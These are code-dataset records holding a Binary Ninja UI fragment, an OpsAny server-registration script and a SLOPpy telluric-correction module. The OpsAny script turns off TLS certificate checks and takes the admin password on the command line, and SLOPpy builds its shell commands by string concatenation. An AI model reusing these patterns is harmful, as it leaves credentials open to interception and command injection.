QLabel(\"-\")\n\t\t\tdashLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tendLabel = headers.ClickableAddressLabel(end)\n\t\t\trangeLayout.addWidget(beginLabel)\n\t\t\trangeLayout.addWidget(dashLabel)\n\t\t\trangeLayout.addWidget(endLabel)\n\t\t\tlayout.addLayout(rangeLayout, row, 1)\n\n\t\t\tpermissionsLabel = QLabel(permissions)\n\t\t\tpermissionsLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tlayout.addWidget(permissionsLabel, row, 2)\n\t\t\ttypeLabel = QLabel(typeName)\n\t\t\ttypeLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tlayout.addWidget(typeLabel, row, 3)\n\t\t\tsemanticsLabel = QLabel(semantics)\n\t\t\tsemanticsLabel.setFont(binaryninjaui.getMonospaceFont(self))\n\t\t\tlayout.addWidget(semanticsLabel, row, 4)\n\n\t\t\trow += 1\n\n\t\tlayout.setColumnStretch(5, 1)\n\t\tself.setLayout(layout)\n", "repo_name": "Vector35/binaryninja-api", "sub_path": "python/examples/triage/sections.py", "file_name": "sections.py", "file_ext": "py", "file_size_in_byte": 4395, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 754, "dataset": "github-code", "pt": "86", "api": [{"api_name": "PySide6.QtWidgets.QWidget", "line_number": 11, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QGridLayout", "line_number": 15, "usage_type": "call"}, {"api_name": "binaryninjaui.UIContext.getScaledWindowSize", "line_number": 18, "usage_type": "call"}, {"api_name": "binaryninjaui.UIContext", "line_number": 18, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QHBoxLayout", "line_number": 45, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 48, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 49, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 56, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 57, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QWidget", "line_number": 66, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QGridLayout", "line_number": 70, "usage_type": "call"}, {"api_name": "binaryninjaui.UIContext.getScaledWindowSize", "line_number": 73, "usage_type": "call"}, {"api_name": "binaryninjaui.UIContext", "line_number": 73, "usage_type": "name"}, {"api_name": "binaryninja.enums.SectionSemantics.ExternalSectionSemantics", "line_number": 84, "usage_type": "attribute"}, {"api_name": "binaryninja.enums.SectionSemantics", "line_number": 84, "usage_type": "name"}, {"api_name": "binaryninja.enums.SectionSemantics.ReadOnlyCodeSectionSemantics", "line_number": 113, "usage_type": "attribute"}, {"api_name": "binaryninja.enums.SectionSemantics", "line_number": 113, "usage_type": "name"}, {"api_name": "binaryninja.enums.SectionSemantics.ReadOnlyDataSectionSemantics", "line_number": 115, "usage_type": "attribute"}, {"api_name": "binaryninja.enums.SectionSemantics", "line_number": 115, "usage_type": "name"}, {"api_name": "binaryninja.enums.SectionSemantics.ReadWriteDataSectionSemantics", "line_number": 117, "usage_type": "attribute"}, {"api_name": "binaryninja.enums.SectionSemantics", "line_number": 117, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 120, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 121, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QHBoxLayout", "line_number": 124, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 127, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 128, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 135, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 136, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 138, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 139, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 141, "usage_type": "call"}, {"api_name": "binaryninjaui.getMonospaceFont", "line_number": 142, "usage_type": "call"}]} +{"seq_id": "42446669056", "text": "#!/usr/bin/env python3\n# coding:utf8\nimport json\n\nimport requests\nimport sys\nimport argparse\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nclass OpsAnyApi:\n def __init__(self, paas_domain, username, password, env=\"prod\"):\n self.paas_domain = paas_domain\n self.session = requests.Session()\n self.headers = {\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Accept\": \"application/json, text/javascript, */*; q=0.01\",\n }\n self.session.headers.update({'referer': paas_domain})\n self.session.verify = False\n self.login_url = self.paas_domain + \"/login/\"\n self.csrfmiddlewaretoken = self.get_csrftoken()\n self.username = username\n self.password = password\n self.cookies = None\n self.token = self.login()\n\n self.token = None\n\n self.run_env = \"o\" if env == \"prod\" else \"t\"\n\n def get_csrftoken(self): # sourcery skip: do-not-use-bare-except\n try:\n resp = self.session.get(self.login_url, verify=False)\n if resp.status_code == 200:\n return resp.cookies[\"bklogin_csrftoken\"]\n else:\n return \"\"\n except:\n return \"\"\n\n def login(self): # sourcery skip: do-not-use-bare-except\n try:\n login_form = {\n 'csrfmiddlewaretoken': self.csrfmiddlewaretoken,\n 'username': self.username,\n 'password': self.password\n }\n resp = self.session.post(self.login_url, data=login_form, verify=False, headers=self.headers)\n if resp.status_code == 200:\n self.headers.update(self.session.headers)\n self.cookies = dict(self.session.cookies)\n return self.session.cookies.get(\"bk_token\")\n return \"\", \"\"\n except:\n return \"\", \"\"\n\n def add_engine_server(self, server_ip, server_port, app_port, server_cate):\n API = self.paas_domain + \"/engine/server/\"\n try:\n server_form = {\n 'csrfmiddlewaretoken': self.csrfmiddlewaretoken,\n \"server_ip\": server_ip,\n \"server_port\": server_port,\n \"app_port\": app_port,\n \"server_cate\": server_cate\n }\n self.headers.update({\n \"Origin\": self.paas_domain + \"/engine/server/\",\n \"X-CSRFToken\": self.csrfmiddlewaretoken,\n })\n self.cookies[\"bk_csrftoken\"] = self.csrfmiddlewaretoken\n\n res = requests.post(API, data=server_form, headers=self.headers, cookies=self.cookies, verify=False)\n\n if res.status_code == 200 and res.json().get(\"code\") == 200:\n return True, res.json()\n else:\n return True, res.json()\n except Exception as e:\n s = \"Add Engine Server, error info: {}.\".format(str(e))\n return False, {'result': False, \"message\": s}\n\n def active_engine_server(self, server_id):\n API = self.paas_domain + \"/engine/server/active/\"\n try:\n server_form = {\n 'csrfmiddlewaretoken': self.csrfmiddlewaretoken,\n \"server_id\": server_id\n }\n self.headers.update({\n \"Origin\": self.paas_domain + \"/engine/server/active/\",\n \"X-CSRFToken\": self.csrfmiddlewaretoken,\n })\n self.cookies[\"bk_csrftoken\"] = self.csrfmiddlewaretoken\n\n res = requests.post(API, data=server_form, headers=self.headers, cookies=self.cookies, verify=False)\n\n if res.status_code == 200 and res.json().get(\"code\") == 200:\n return True, res.json()\n else:\n return True, res.json()\n except Exception as e:\n s = \"Active Engine Server, error info: {}.\".format(str(e))\n return False, {'result': False, \"message\": s}\n\n\ndef run(options):\n # run_env = \"prod\"\n run_env = \"dev\"\n api_object = OpsAnyApi(\n options.domain,\n options.paas_username,\n options.paas_password,\n run_env\n )\n if options.type == \"active\":\n status, message = api_object.active_engine_server(options.server_id)\n print(json.dumps(message, ensure_ascii=False))\n else:\n status, message = api_object.add_engine_server(options.server_ip,options.server_port,options.app_port,options.server_cate )\n print(json.dumps(message, ensure_ascii=False))\n\n\ndef add_parameter():\n parameter = argparse.ArgumentParser()\n parameter.add_argument(\"--domain\", help=\"Required parameters.\", required=True)\n parameter.add_argument(\"--paas_username\", help=\"OpsAny Username.\", required=True)\n parameter.add_argument(\"--paas_password\", help=\"OpsAny Password.\", required=True)\n parameter.add_argument(\"--server_ip\", help=\"server_ip\", required=False)\n parameter.add_argument(\"--server_port\", help=\"server_port\", required=False)\n parameter.add_argument(\"--app_port\", help=\"app_port\", required=False)\n parameter.add_argument(\"--server_id\", help=\"server_id\", required=False)\n parameter.add_argument(\"--server_cate\", help=\"server_cate(tapp | app)\", required=False)\n parameter.add_argument(\"--type\", help=\"type(add | active)\", required=True)\n parameter.parse_args()\n return parameter\n\n\nif __name__ == '__main__':\n parameter = add_parameter()\n options = parameter.parse_args()\n run(options)\n\n\"\"\"\npython3 engine-server-script.py --domain https://${DOMAIN_NAME} --paas_username admin --paas_password ${ADMIN_PASSWORD} --server_ip 192.168.0.169 --server_port 8081 --app_port 8082 --server_cate tapp --type add\npython3 engine-server-script.py --domain https://${DOMAIN_NAME} --paas_username admin --paas_password ${ADMIN_PASSWORD} --server_id 2 --type active\n\"\"\"", "repo_name": "unixhot/opsany-paas", "sub_path": "saas/engine-server-script.py", "file_name": "engine-server-script.py", "file_ext": "py", "file_size_in_byte": 5850, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 85, "dataset": "github-code", "pt": "86", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib3.exceptions", "line_number": 10, "usage_type": "attribute"}, {"api_name": "requests.Session", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 76, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 99, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 124, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 128, "usage_type": "call"}]} +{"seq_id": "4385598014", "text": "from __future__ import print_function, division\nfrom SLOPpy.subroutines.common import *\nfrom SLOPpy.subroutines.spectral_subroutines import *\nfrom SLOPpy.subroutines.io_subroutines import *\nfrom SLOPpy.subroutines.fit_subroutines import *\nfrom SLOPpy.subroutines.plot_subroutines import *\nfrom SLOPpy.subroutines.shortcuts import *\nfrom SLOPpy.telluric_molecfit_preparation import compute_telluric_molecfit_preparation\n\n__all__ = [\"compute_telluric_molecfit_coadd\",\n \"plot_telluric_molecfit_coadd\"]\n\nsubroutine_name = 'telluric_molecfit_coadd'\n\n\ndef compute_telluric_molecfit_coadd(config_in):\n \"\"\"\n Lazy workaround\n :param config_in:\n :param kwargs:\n :return:\n \"\"\"\n\n night_dict = from_config_get_nights(config_in)\n instrument_dict = from_config_get_instrument(config_in)\n molecfit_dict = from_config_get_molecfit(config_in)\n\n compute_telluric_molecfit_preparation(config_in)\n\n aer_version = molecfit_dict.get('aer_version', '3.8')\n\n for night in night_dict:\n\n instrument_name = night_dict[night]['instrument']\n template_dict = instrument_dict[instrument_name]['telluric_template']\n\n try:\n telluric = load_from_cpickle('telluric', config_in['output'], night)\n print(\"{0:45s} Night:{1:15s} {2:s}\".format(subroutine_name, night, 'Retrieved'))\n continue\n except:\n print(\"{0:45s} Night:{1:15s} {2:s}\".format(subroutine_name, night, 'Computing'))\n print()\n\n print(' instrument :', instrument_name)\n print()\n\n tellprep = load_from_cpickle('telluric_molecfit_preparation', config_in['output'], night)\n\n \"\"\" Retrieving the list of observations\"\"\"\n lists = load_from_cpickle('lists', config_in['output'], night)\n\n \"\"\" Retrieving the observations\"\"\"\n calib_data = load_from_cpickle('calibration_fibA', config_in['output'], night)\n input_data = retrieve_observations(config_in['output'], night, lists['observations'], use_telluric=False)\n observational_pams = load_from_cpickle('observational_pams', config_in['output'], night)\n\n processed = {\n 'subroutine': 'telluric_molecfit',\n 'n_orders': 0,\n 'n_pixels': 0,\n }\n\n telluric = {\n 'subroutine': 'telluric_molecfit',\n 'reference_frame': 'observer'\n }\n\n processed['airmass_ref'] = 0.000\n processed['telluric'] = {}\n processed['rebin'] = {}\n processed['work_dir'] = tellprep['work_dir']\n\n \"\"\"\n Molecfit works on pixel grid, so we must ensure that the spectra are rebinned always on the same wavelength\n scale and same wavelength step. We use local arrays for this purpose\n \"\"\"\n\n processed['rebin']['wave'] = np.arange(input_data['coadd']['wavelength_range'][0],\n input_data['coadd']['wavelength_range'][1],\n molecfit_dict['rebinning_step'],\n dtype=np.double)\n\n processed['rebin']['size'] = np.size(processed['rebin']['wave'])\n processed['rebin']['step'] = np.ones(processed['rebin']['size'],\n dtype=np.double) * molecfit_dict['rebinning_step']\n\n processed['rebin'] = {\n 'wave': input_data['coadd']['wave'],\n 'size': input_data['coadd']['size'],\n 'step': input_data['coadd']['step'],\n }\n\n # TODO: fix the wave:include files\n wave_include = '\"'\n for wli_s, wli_e in zip(tellprep['include']['vacuum'][:, 0], tellprep['include']['vacuum'][:, 1]):\n wave_include = wave_include+str(wli_s)+','+str(wli_e)+','\n wave_include = wave_include[:-1]+'\"'\n\n n_coadd = 0\n n_reference = 0\n texp_cumulated = 0.00\n texp_total = 0.000\n coadd_list = []\n\n # Computing the total integration time\n for n_obs, obs in enumerate(lists['observations']):\n texp_total += input_data[obs]['EXPTIME']\n\n print(' Writing data and configuration files for molecfit+calctrans')\n print()\n\n # There must be a more elegant way to do this, but I'm, not aware of it\n for n_obs, obs in enumerate(lists['observations']):\n\n input_data[obs]['molecfit']['aer_version'] = aer_version\n\n processed[obs] = {\n 'n_orders': input_data[obs]['n_orders'],\n 'n_pixels': input_data[obs]['n_pixels']\n }\n\n \"\"\" e2ds spectra are rescaled and then rebinned while keeping them in the Observer Reference Frame\"\"\"\n\n processed[obs]['e2ds_rescaling'], processed[obs]['e2ds_rescaled'], processed[obs]['e2ds_rescaled_err'] = \\\n perform_rescaling(input_data[obs]['wave'],\n input_data[obs]['e2ds'],\n input_data[obs]['e2ds_err'],\n observational_pams['wavelength_rescaling'])\n\n preserve_flux = input_data[obs].get('absolute_flux', True)\n\n processed[obs]['rebin_ORF'] = \\\n rebin_2d_to_1d(input_data[obs]['wave'],\n input_data[obs]['step'],\n processed[obs]['e2ds_rescaled'],\n calib_data['blaze'],\n processed['rebin']['wave'],\n processed['rebin']['step'],\n preserve_flux=preserve_flux,\n rv_shift=0.00)\n\n \"\"\" This part is relative to the coadded spectrum, must be placed here because\n some variables such as direcotry names must be defined before the next step\n spectra are coadded to increase the SNR of the spectrum analyzed by molecfit\n \"\"\"\n if n_coadd == 0:\n\n reference_name = 'coadded_{0:03d}'.format(n_reference)\n reference_dirname = './' + processed['work_dir'] + '/' + reference_name + '/'\n os.system('mkdir -p ' + reference_dirname)\n\n rebin_coadd = processed[obs]['rebin_ORF'].copy()\n\n molecfit_pams = {\n 'MJD': input_data[obs]['MJD'],\n 'UTC': input_data[obs]['UTC'],\n 'ELEVATION': input_data[obs]['ELEVATION'],\n 'HUMIDITY': input_data[obs]['HUMIDITY'],\n 'PRESSURE': input_data[obs]['PRESSURE'],\n 'TEMPERATURE_EN': input_data[obs]['TEMPERATURE_EN'],\n 'TEMPERATURE_M1': input_data[obs]['TEMPERATURE_M1']}\n\n coadded_files = open(reference_dirname + reference_name + '_files.list', 'w')\n\n coadd_list.append(reference_name)\n observations_dirlist = []\n observations_exelist = []\n\n else:\n rebin_coadd += processed[obs]['rebin_ORF']\n\n molecfit_pams['MJD'] += input_data[obs]['MJD']\n molecfit_pams['UTC'] += input_data[obs]['UTC']\n molecfit_pams['ELEVATION'] += input_data[obs]['ELEVATION']\n molecfit_pams['HUMIDITY'] += input_data[obs]['HUMIDITY']\n molecfit_pams['PRESSURE'] += input_data[obs]['PRESSURE']\n molecfit_pams['TEMPERATURE_EN'] += input_data[obs]['TEMPERATURE_EN']\n molecfit_pams['TEMPERATURE_M1'] += input_data[obs]['TEMPERATURE_M1']\n\n n_coadd += 1\n coadded_files.write(obs + '\\n')\n\n texp_cumulated += input_data[obs]['EXPTIME']\n\n # \"\"\" Molecfit analysis is skipped if the telluric correction has been computed already\"\"\"\n # if os.path.isfile('./molecfit_'+night +'/output/'+obs+'_ORF_s1d_TAC.dat'):\n # print(' molecfit+calctrans results for ' + obs + ' already available')\n # continue\n\n \"\"\"\n This is the directory for MOLECFIT_CALCTRANS and MOLECFIT_CORRECT,\n which is different from the one where the coadded spectrum is saved\n \"\"\"\n observation_dirname = './' + processed['work_dir'] + '/' + 'obs_{0:03d}'.format(n_obs) + '/'\n os.system('mkdir -p ' + observation_dirname)\n\n \"\"\" the spectrum is saved as a BinTable Fits file in a format suitable for molecfit\n this is the spectrum for MOLECFIT_CALCTRANS and MOLECFIT_CORRECT, so it is saved inside\n the folder with the observation name\n \"\"\"\n observation_name = obs\n observation_tabname = obs + '_ORF_s1d.fits'\n write_molecfit_input_spectrum(processed['rebin']['wave'],\n processed[obs]['rebin_ORF'],\n observation_dirname + observation_tabname)\n\n observation_calctrans_parname = observation_name + '_calctrans.rc'\n write_calctrans_par(observation_dirname + observation_calctrans_parname)\n\n \"\"\" Writing the SOF files for MOLECFIT_CALCTRANS and MOLECFIT_CORRECT\n For the observed spectrum\n \"\"\"\n observation_calctrans_sofname = obs + '_calctrans.sof'\n\n observation_calctrans_soffile = open(observation_dirname + observation_calctrans_sofname, 'w')\n observation_calctrans_soffile.write(observation_tabname+' SCIENCE\\n')\n observation_calctrans_soffile.write('../' + reference_name + '/MODEL_MOLECULES.fits MODEL_MOLECULES\\n')\n observation_calctrans_soffile.write('../' + reference_name + '/ATM_PARAMETERS.fits ATM_PARAMETERS\\n')\n observation_calctrans_soffile.write(\n '../' + reference_name + '/BEST_FIT_PARAMETERS.fits BEST_FIT_PARAMETERS\\n')\n observation_calctrans_soffile.close()\n\n \"\"\" Writing the bash script to execute MOLECFIT_CALCTRANS in the directory containing the science fits\n \"\"\"\n bash_file = './' + processed['work_dir'] + '/calctrans_exec_' + obs + '.source'\n bash_script = open(bash_file, 'w')\n bash_script.write('#!/bin/bash \\n')\n\n bash_script.write('export TMPDIR=$PWD\\n')\n bash_script.write('echo \" \" executing calctrans on ' + obs + ' \\n')\n bash_script.write('cd ' + observation_dirname + ' \\n')\n\n bash_script.write(molecfit_dict['esorex_exec'] + ' --recipe-config=' + observation_calctrans_parname\n + ' molecfit_calctrans ' + observation_calctrans_sofname + '> ' + obs + '_calctrans.log\\n')\n bash_script.write('cd $TMPDIR \\n')\n bash_script.close()\n\n observations_dirlist.append(observation_dirname)\n observations_exelist.append(bash_file)\n\n processed[obs]['dir_name'] = observation_dirname\n processed[obs]['tab_name'] = observation_tabname\n\n if (texp_cumulated >= molecfit_dict['exptime_coadd'] and\n texp_total-texp_cumulated >= molecfit_dict['exptime_coadd']) \\\n or n_obs == len(lists['observations'])-1:\n\n coadded_files.close()\n print(' Coadded spectrum: ', n_reference)\n\n if os.path.exists(reference_dirname + 'TELLURIC_CORR.fits'):\n print(' molecfit for ' + reference_name + ' previously completed')\n print()\n else:\n\n rebin_coadd /= n_coadd\n\n \"\"\" the spectra is saved as an ASCII file in a format suitable for molecfit \"\"\"\n reference_tabname = reference_name + '_ORF_s1d.fits'\n write_molecfit_input_spectrum(processed['rebin']['wave'],\n rebin_coadd,\n reference_dirname + reference_tabname)\n\n \"\"\" Average of the observational parameters \"\"\"\n for key in molecfit_pams:\n molecfit_pams[key] /= n_coadd\n\n molecfit_pams['GEOELEV'] = input_data[obs]['GEOELEV']\n molecfit_pams['GEOLONG'] = input_data[obs]['GEOLONG']\n molecfit_pams['GEOLAT'] = input_data[obs]['GEOLAT']\n\n reference_molecfit_parname = reference_name + '_molecfit.rc'\n write_molecfit_par(reference_dirname + reference_molecfit_parname,\n wave_include,\n input_data[obs]['molecfit'],\n molecfit_pams)\n\n reference_calctrans_parname = reference_name + '_calctrans.rc'\n write_calctrans_par(reference_dirname + reference_calctrans_parname)\n\n reference_molecfit_sofname = reference_name + '_molecfit.sof'\n\n reference_molecfit_soffile = open(reference_dirname + reference_molecfit_sofname, 'w')\n reference_molecfit_soffile.write(reference_tabname + ' SCIENCE\\n')\n reference_molecfit_soffile.close()\n\n \"\"\" Writing the SOF files for MOLECFIT_CALCTRANS and MOLECFIT_CORRECT\n For the observed spectrum\n \"\"\"\n reference_calctrans_sofname = obs + '_calctrans.sof'\n\n reference_calctrans_soffile = open(reference_dirname + reference_calctrans_sofname, 'w')\n reference_calctrans_soffile.write(reference_tabname+' SCIENCE\\n')\n reference_calctrans_soffile.write('MODEL_MOLECULES.fits MODEL_MOLECULES\\n')\n reference_calctrans_soffile.write('ATM_PARAMETERS.fits ATM_PARAMETERS\\n')\n reference_calctrans_soffile.write('BEST_FIT_PARAMETERS.fits BEST_FIT_PARAMETERS\\n')\n reference_calctrans_soffile.close()\n\n \"\"\" Writing the bash script to execute MOLECFIT_MODEL and MOLECFIT_CALCTRANS in the directory containing the coadded fits\n \"\"\"\n\n bash_file = './' + processed['work_dir'] + '/molecfit_exec_' + reference_name + '.source'\n bash_script = open(bash_file, 'w')\n bash_script.write('#!/bin/bash \\n')\n\n bash_script.write('export TMPDIR=$PWD\\n')\n bash_script.write('echo \" \" executing molecfit on ' + reference_name + ' \\n')\n bash_script.write('cd ' + reference_dirname + ' \\n')\n\n bash_script.write(molecfit_dict['esorex_exec'] + ' --recipe-config=' + reference_molecfit_parname\n + ' molecfit_model ' + reference_molecfit_sofname + '> ' + obs + '_molecfit.log\\n')\n bash_script.write(molecfit_dict['esorex_exec'] + ' --recipe-config=' + reference_calctrans_parname\n + ' molecfit_calctrans ' + reference_calctrans_sofname + '> ' + obs + '_calctrans.log\\n')\n bash_script.write('cd $TMPDIR \\n')\n bash_script.close()\n\n os.system('. ' + bash_file)\n\n for dirname, exename in zip(observations_dirlist, observations_exelist):\n if os.path.exists(dirname + 'TELLURIC_CORR.fits'):\n print(' molecfit for ' + dirname + ' previously completed')\n print()\n else:\n os.system('. ' + exename)\n\n n_coadd = 0\n n_reference += 1\n texp_total -= texp_cumulated\n texp_cumulated = 0.0\n\n print()\n\n for n_obs, obs in enumerate(lists['observations']):\n\n telluric[obs] = {}\n observation_dirname = processed[obs]['dir_name']\n\n print(' Telluric correction for ', obs, 'retrieved from ', observation_dirname + 'TELLURIC_CORR.fits')\n\n \"\"\" Loading the telluric spectrum from the output directory of molecfit \"\"\"\n corr_fits = fits.open(observation_dirname + 'TELLURIC_CORR.fits')\n # orig_fits = fits.open(observation_dirname + observation_tabname)\n telluric_molecfit = corr_fits[1].data\n \"\"\" rebinning onto the e2ds wave scale\"\"\"\n\n if molecfit_dict.get('fix_telluric', True):\n print(' fix_telluric applied - temporary workaround for line at 5885.97 A [ORF]')\n line_boundaries = [5885.74, 5886.21]\n sel = (processed['rebin']['wave'] > line_boundaries[0]) \\\n & (processed['rebin']['wave'] < line_boundaries[1])\n tell_cont = np.amax(telluric_molecfit[sel])\n\n telluric_molecfit[sel] = (telluric_molecfit[sel] - tell_cont) / 2.0 + tell_cont\n\n telluric[obs]['spectrum'] = \\\n rebin_1d_to_2d(processed['rebin']['wave'],\n processed['rebin']['step'],\n telluric_molecfit,\n input_data[obs]['wave'],\n input_data[obs]['step'],\n preserve_flux=False)\n\n try:\n telluric[obs]['spectrum'] = np.nan_to_num(nan=1.0, posinf=1.0, neginf=1.0)\n except:\n temp = ~(np.isfinite(telluric[obs]['spectrum']))\n telluric[obs]['spectrum'][temp] = 1.0\n sel = telluric[obs]['spectrum'] < 0.0001\n telluric[obs]['spectrum'][sel] = 1.0\n\n telluric[obs]['airmass'] = input_data[obs]['AIRMASS']\n\n \" for compatibilty to some plots, even if it doesn't make any sense\"\n telluric[obs]['airmass_ref'] = 0.000\n telluric[obs]['spectrum_noairmass'] = np.power(telluric[obs]['spectrum'],\n telluric[obs]['airmass_ref'] - input_data[obs]['AIRMASS'])\n telluric[obs]['null'] = telluric[obs]['spectrum_noairmass'] < 0.001\n telluric[obs]['spectrum_noairmass'][telluric[obs]['null']] = 1.0\n # we just copy the spectrum file, it's it's a model itself\n telluric[obs]['spline'] = telluric[obs]['spectrum'].copy()\n\n processed[obs]['e2ds_corrected'] = processed[obs]['e2ds_rescaled'] / telluric[obs]['spectrum']\n processed[obs]['e2ds_corrected_err'] = processed[obs]['e2ds_rescaled_err'] / telluric[obs]['spectrum']\n\n save_to_cpickle('telluric', telluric, config_in['output'], night)\n save_to_cpickle('telluric_processed', processed, config_in['output'], night)\n\n print()\n print(\"Night \", night, \" completed\")\n\n\ndef plot_telluric_molecfit_coadd(config_in, night_input=''):\n import matplotlib.pyplot as plt\n\n night_dict = from_config_get_nights(config_in)\n instrument_dict = from_config_get_instrument(config_in)\n system_dict = from_config_get_system(config_in)\n\n if night_input == '':\n night_list = night_dict\n else:\n night_list = np.atleast_1d(night_input)\n\n for night in night_list:\n\n # plt.scatter(rescaling_array, computed_std, c='C0', zorder=1)\n # plt.scatter(sel_factor, sel_stdev, c='C1', zorder=2)\n # plt.plot(rescaling_array, np.polyval(coeff, rescaling_array))\n # plt.plot(rescaling_array, 2*rescaling_array*coeff[0] + coeff[1] )\n # plt.plot()\n\n print(\"plot_telluric_molecfit_coadd Night: \", night)\n\n \"\"\" Retrieving the list of observations\"\"\"\n lists = load_from_cpickle('lists', config_in['output'], night)\n observational_pams = load_from_cpickle('observational_pams', config_in['output'], night)\n\n \"\"\" Retrieving the analysis\"\"\"\n try:\n processed = load_from_cpickle('telluric_processed', config_in['output'], night)\n telluric = load_from_cpickle('telluric', config_in['output'], night)\n except:\n print()\n print(\"No telluric correction, no plots\")\n continue\n\n input_data = retrieve_observations(config_in['output'], night, lists['observations'], use_telluric=False)\n\n colors, cmap, line_colors = make_color_array(lists, observational_pams)\n\n fig = plt.figure(figsize=(12, 6))\n gs = GridSpec(2, 2, width_ratios=[50, 1])\n\n ax1 = plt.subplot(gs[0, 0])\n ax2 = plt.subplot(gs[1, 0], sharex=ax1)\n cbax1 = plt.subplot(gs[:, 1])\n\n lift_spectrum = 0.25\n\n for i, obs in enumerate(lists['observations']):\n color_array = cmap(i / len(lists['observations']))\n\n for order in range(0, processed[obs]['n_orders']):\n\n if order == 0 and i == 0:\n ax1.plot(input_data[obs]['wave'][order, :],\n processed[obs]['e2ds_rescaled'][order, :],\n c=color_array, lw=1, alpha=0.5, label='uncorrected')\n ax1.scatter(input_data[obs]['wave'][order, :],\n processed[obs]['e2ds_corrected'][order, :],\n s=1, c=np.atleast_2d(color_array), label='corrected')\n else:\n ax1.plot(input_data[obs]['wave'][order, :],\n processed[obs]['e2ds_rescaled'][order, :],\n c=color_array, lw=1, alpha=0.5)\n ax1.scatter(input_data[obs]['wave'][order, :],\n processed[obs]['e2ds_corrected'][order, :],\n s=1, c=np.atleast_2d(color_array))\n\n # ax1.plot(processed[obs]['wave'][order, :],\n # e2ds_rescaled[order, :]+lift_spectrum,\n # c=color_array, lw=1, alpha=0.5)\n # ax1.scatter(processed[obs]['wave'][order, :],\n # e2ds_rescaled_corrected_spline[order, :]+lift_spectrum,\n # s=1, c=np.atleast_2d(color_array))\n\n ax2.plot(input_data[obs]['wave'][order, :],\n telluric[obs]['spectrum'][order, :],\n c=color_array)\n ax2.axhline(1.00, c='k')\n\n # ax2.plot(processed[obs]['wave'][order, :],\n # telluric[obs]['spline'][order, :]+lift_spectrum,\n # c=color_array)\n # ax2.axhline(1.00+lift_spectrum, c='k')\n\n # ax2.plot(input_data['coadd']['wave'],telluric['stellarRF']['spline_eval']+0.1,c='k')\n # ax2.scatter(input_data['coadd']['wave'],telluric['stellarRF']['spectrum']+0.1,c='r', s=2)\n\n ax1.legend(loc=3)\n ax1.set_title('Night: ' + night)\n\n ax2.set_xlabel('$\\lambda$ [$\\AA$]')\n\n try:\n instrument = night_dict[night]['instrument']\n comparison_file = config_in['instruments'][instrument]['telluric_comparison']\n comparison_data = np.genfromtxt(comparison_file, skip_header=1)\n if comparison_data[0, 0] < 1000.0:\n nm2Ang = 10.\n else:\n nm2Ang = 1.\n ax1.plot(comparison_data[:, 0]*nm2Ang, comparison_data[:, 1], c='C0', zorder=1000)\n ax2.plot(comparison_data[:, 0]*nm2Ang, comparison_data[:, 1], c='C0', zorder=1000)\n except:\n pass\n\n sm = plt.cm.ScalarMappable(cmap=cmap, norm=plt.Normalize(vmin=colors[0], vmax=colors[-1]))\n sm.set_array([]) # You have to set a dummy-array for this to work...\n cbar = plt.colorbar(sm, cax=cbax1)\n cbar.set_label('BJD - 2450000.0')\n fig.subplots_adjust(wspace=0.05, hspace=0.4)\n plt.show()\n", "repo_name": "LucaMalavolta/SLOPpy", "sub_path": "SLOPpy/telluric_molecfit_coadd.py", "file_name": "telluric_molecfit_coadd.py", "file_ext": "py", "file_size_in_byte": 23722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "86", "api": [{"api_name": "SLOPpy.telluric_molecfit_preparation.compute_telluric_molecfit_preparation", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 432, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 432, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 435, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 435, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 436, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 436, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 437, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 437, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 499, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 499, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 499, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Normalize", "line_number": 499, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 501, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 501, "usage_type": "name"}, 